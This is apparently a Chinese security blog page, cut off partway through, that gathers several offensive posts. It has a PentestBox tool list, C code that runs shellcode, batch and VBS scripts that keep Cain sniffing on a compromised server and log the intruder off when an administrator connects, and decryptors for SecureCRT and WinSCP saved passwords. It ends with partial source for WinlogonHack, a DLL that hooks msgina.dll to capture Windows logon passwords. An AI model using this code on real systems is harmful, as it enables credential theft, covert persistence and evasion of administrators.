PentestBox:一个基于Windows系统的渗透测试平台

发布时间:June 7, 2015 // 分类:工作日志,windows,转帖文章 // No Comments

Welcome to PentestBox Tools List Website!
Here you will find list of the tools which are inside PentestBox and how to use them. 
You can see list of tools of particular category using the left sidebar.

Suppose you want to use SQLMap, you can find it's description below in Web Application Scanner Section and you will find something like given below

  cmd.exe

C:\Users\Aditya Agrawal\Desktop

$sqlmap

The console above with sqlmap in it tells that if you need to use SQLmap then sqlmap is the alias for it. If you are not aware with the tool and it's functions then type like sqlmap -h on console, it will display all possible functions of that tool , sqlmap in our case.

 

To keep everything in short, below are only aliases of the respective tool. 
I Hope you will Enjoy using PentestBox :)

Web Vulnerability Scanners

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: PortsWigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Commix - Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. 
    Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $commix

  • fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. It's currently under heavy development but it's usable. 
    Author: Iman Karim 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $fimap

  • Grabber - Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network. 
    Author: Romain Gaucher 
    License: BSD
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $grabber

  • Golismero - GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
    License: GPLv2 
    Author: Daniel García , Mario Vilas, Raúl Requero 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $golismero

      cmd.exe

    C:\PentestBox\bin\WebApplications\golismero (master)

    $golismero.bat scan pentestbox.com

  • IronWasp - Find security issues on your website automatically using IronWASP, one of the world's best web security scanners. Here are some reasons why IronWASP is great:
    • It's Free and Open source
    • GUI based and very easy to use, no security expertise required
    • Powerful and effective scanning engine
    • Supports recording Login sequence
    • Checks for over 25 different kinds of well known web vulnerabilities
    • False Negatives detection suppport
    • Industry leading built-in scripting engine that supports Python and Ruby

    Author: Lavakumar Kuppan
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $ironwasp

  • jSQL - jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). 
    Author: ron190 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $jSQL

  • Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. 
    Author: Cirt.net 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $nikto

  • PadBuster - Automated script for performing Padding Oracle attacks. 
    Author: Brian Holyfield, Gotham Digital Science 
    License: Reciprocal Public License 1.5
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $padbuster

  • SqlMap - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 
    Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $sqlmap

  • Vega - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. 
    Author: Subgraph 
    License: Eclipse Public License 1.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $vega

  • Wpscan - WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. 
    Author: The WPScan Team 
    License: WPScan Public Source License
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $wpscan

  • OWASP Xenotix XSS Exploit FrameWork - OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. Xenotix provides Zero False Positive XSS Detection by performing the Scan within the browser engines where in real world, payloads get reflected. Xenotix Scanner Module is incorporated with 3 intelligent fuzzers to reduce the scan time and produce better results. If you really don't like the tool logic, then leverage the power of Xenotix API to make the tool work like you wanted it to be. It is claimed to have the world’s 2nd largest XSS Payloads of about 4800+ distinctive XSS Payloads. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes real world offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. Say no to alert pop-ups in PoC. Pen testers can now create appealing Proof of Concepts within few clicks. 
    Author: Ajin Abraham 
    License: Creative Commons Attribution-ShareAlike 3.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $xenotix

  • Yasuo - Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on. 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $yasuo

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Applications Proxies

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Crawlers

  • Dir Buster - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. 
    Author: OWASP.org 
    License: Apache 2.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $dirbuster

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

关于文字会重叠的问题。提供方式

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

嗅探的一些记录

发布时间:June 3, 2015 // 分类:windows,转帖文章 // No Comments

解决cain 嗅探导致卡死

嗅探的时候服务器卡死 然后登录都无法登陆 想必大家经常遇到
这个问题很多人都在交流 网上流传的脚本思路是 
先设置 cain 重启后接着嗅探
如果 访问某个ip 超时 就重启
重启动静太大了,结束进程 方式比较合理
写了个批处理 
遇到网络卡了 自动退出 
网络状态好了 再自动开启

欢迎修改 以及更好的建议

@echo off
:top
ping -n 1 -l 1 61.135.169.105
IF ERRORLEVEL 1 GOTO kill
IF ERRORLEVEL 0 GOTO start

:start
TaskList|Findstr /i "cain.exe"
If ErrorLevel 1 (
start cain.exe
)
goto top

:kill
TaskList|Findstr /i "cain.exe"
If ErrorLevel 0 (
taskkill /f -im cain.exe
ping 127.0.1 -n 10 -l 1
 )
goto top

大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
 

ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144


上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。

再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
 

on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo “use:// cscript.exe FS.vbs port”
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject(”WScript.Shell”)
Set oExec = oShell.Exec(”netstat -an”)
Set oRegExp = new RegExp
oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED”
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run “logoff”
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend


用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。

查看 SecureCRT session配置文件中的密码

发布时间:June 2, 2015 // 分类:工作日志,代码学习,python,windows // 3 Comments

在现有SecureCRT session的条件下,还原出已有的密码

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

关于Winscp 密码获取解密

发布时间:June 2, 2015 // 分类:工作日志,VC/C/C++,代码学习,windows // No Comments

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在:
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

记忆中最早的就是这个

https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [

有源码提供下载,还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go
package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)

func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}

func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)

        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]

    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }

    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}

func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}
 
 
附加一个java的
https://github.com/YuriMB/WinSCP-Password-Recovery/blob/master/src/main/java/Main.java
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Yuri Meiburg on 30-4-2015.
 */
public class Main {

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF
     */
    public static final int PWALG_SIMPLE_FLAG = 0xFF;

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3
     */
    public static final char PWALG_SIMPLE_MAGIC = 0xA3;

    public static List<Character> fPassword = new ArrayList<Character>();
    public static String hostname, username;

    public static void main(String [] args){
        if (args.length != 3) {
            System.exit(0);
        }

        hostname = args[0];
        username = args[1];

        for( int i=0; i< args[2].length(); ++i){
            fPassword.add((char) Integer.parseInt(""+args[2].charAt(i),16));
        }

        System.out.println("username = " + username);
        System.out.println("hostname = " + hostname);
        System.out.println("getPassword() = " + getPassword());
    }


    /**
     * UnicodeString __fastcall TSessionData::GetPassword() const
     {
     return DecryptPassword(FPassword, UserName+HostName);
     }
     */
    static String getPassword(){
        return decryptPassword(fPassword, username + hostname);
    }

    /**
     * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)
     * {
     *    UTF8String Key = UnicodeKey;
     *    UTF8String Result("");
     *    Integer Index;
     *    unsigned char Length, Flag;
     *
     *    Flag = simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *      simpleDecryptNextChar(Password);
     *      Length = simpleDecryptNextChar(Password);
     *    }
     *    else Length = Flag;
     *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);
     *    for (Index = 0; Index < Length; Index++)
     *        Result += (char)simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *        if (Result.SubString(1, Key.Length()) != Key) Result = "";
     *        else Result.Delete(1, Key.Length());
     *    }
     *    return UnicodeString(Result);
     *}
     */
    static String decryptPassword(List<Character> password, String unicodeKey){
        System.out.println("unicodeKey = " + unicodeKey);
        String key = unicodeKey;
        String result = "";
        char length, flag;

        flag = simpleDecryptNextChar(password);
        System.out.println("flag = " + (int) flag);
        if(flag == PWALG_SIMPLE_FLAG){
            /* Dummy = */ simpleDecryptNextChar(password);
            length = simpleDecryptNextChar(password);
        }
        else length = flag;

        System.out.println("length = " + (int) length);

        int newStart = ((int)simpleDecryptNextChar(password)*2);
        System.out.println("newStart = " + newStart + ", password.size() = " + password.size());
        removeItems(password, 0, newStart);

        for(int index=0; index < length; ++index)
            result += simpleDecryptNextChar(password);

        System.out.println("result = " + result);
        if(flag == PWALG_SIMPLE_FLAG)
        {
            if (!result.substring(0, key.length()).equals(key)) result = "";
            else result = result.substring(key.length());
        }

        return result;
    }


    /**
     * unsigned char simpleDecryptNextChar(RawByteString &Str)
     {
     if (Str.Length() > 0)
     {
     unsigned char Result = (unsigned char)
     ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +
     ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);
     Str.Delete(1, 2);
     return Result;
     }
     else return 0x00;
     }
     * @param str
     * @return
     */
    static public char simpleDecryptNextChar(List<Character> str){
        if(str.size() > 0){
            char result = unsignedChar(
                        ~(
                            (
                                    unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.
                            ) ^ PWALG_SIMPLE_MAGIC
                        )
                    );

            removeItems(str, 0, 2);
            return result;
        }
        else return 0x00;
    }

    /**
     * Cut off anything over 255.
     * @param v
     * @return
     */
    static char unsignedChar(int v){
        return (char) (v & 0xFF);
    }

    /**
     * Remove items from list
     */
    static void removeItems(List lst, int start, int end){
        for(int i=0; i<end-start; ++i){
            lst.remove(start);
        }
    }
}

关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:VC/C/C++,代码学习,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
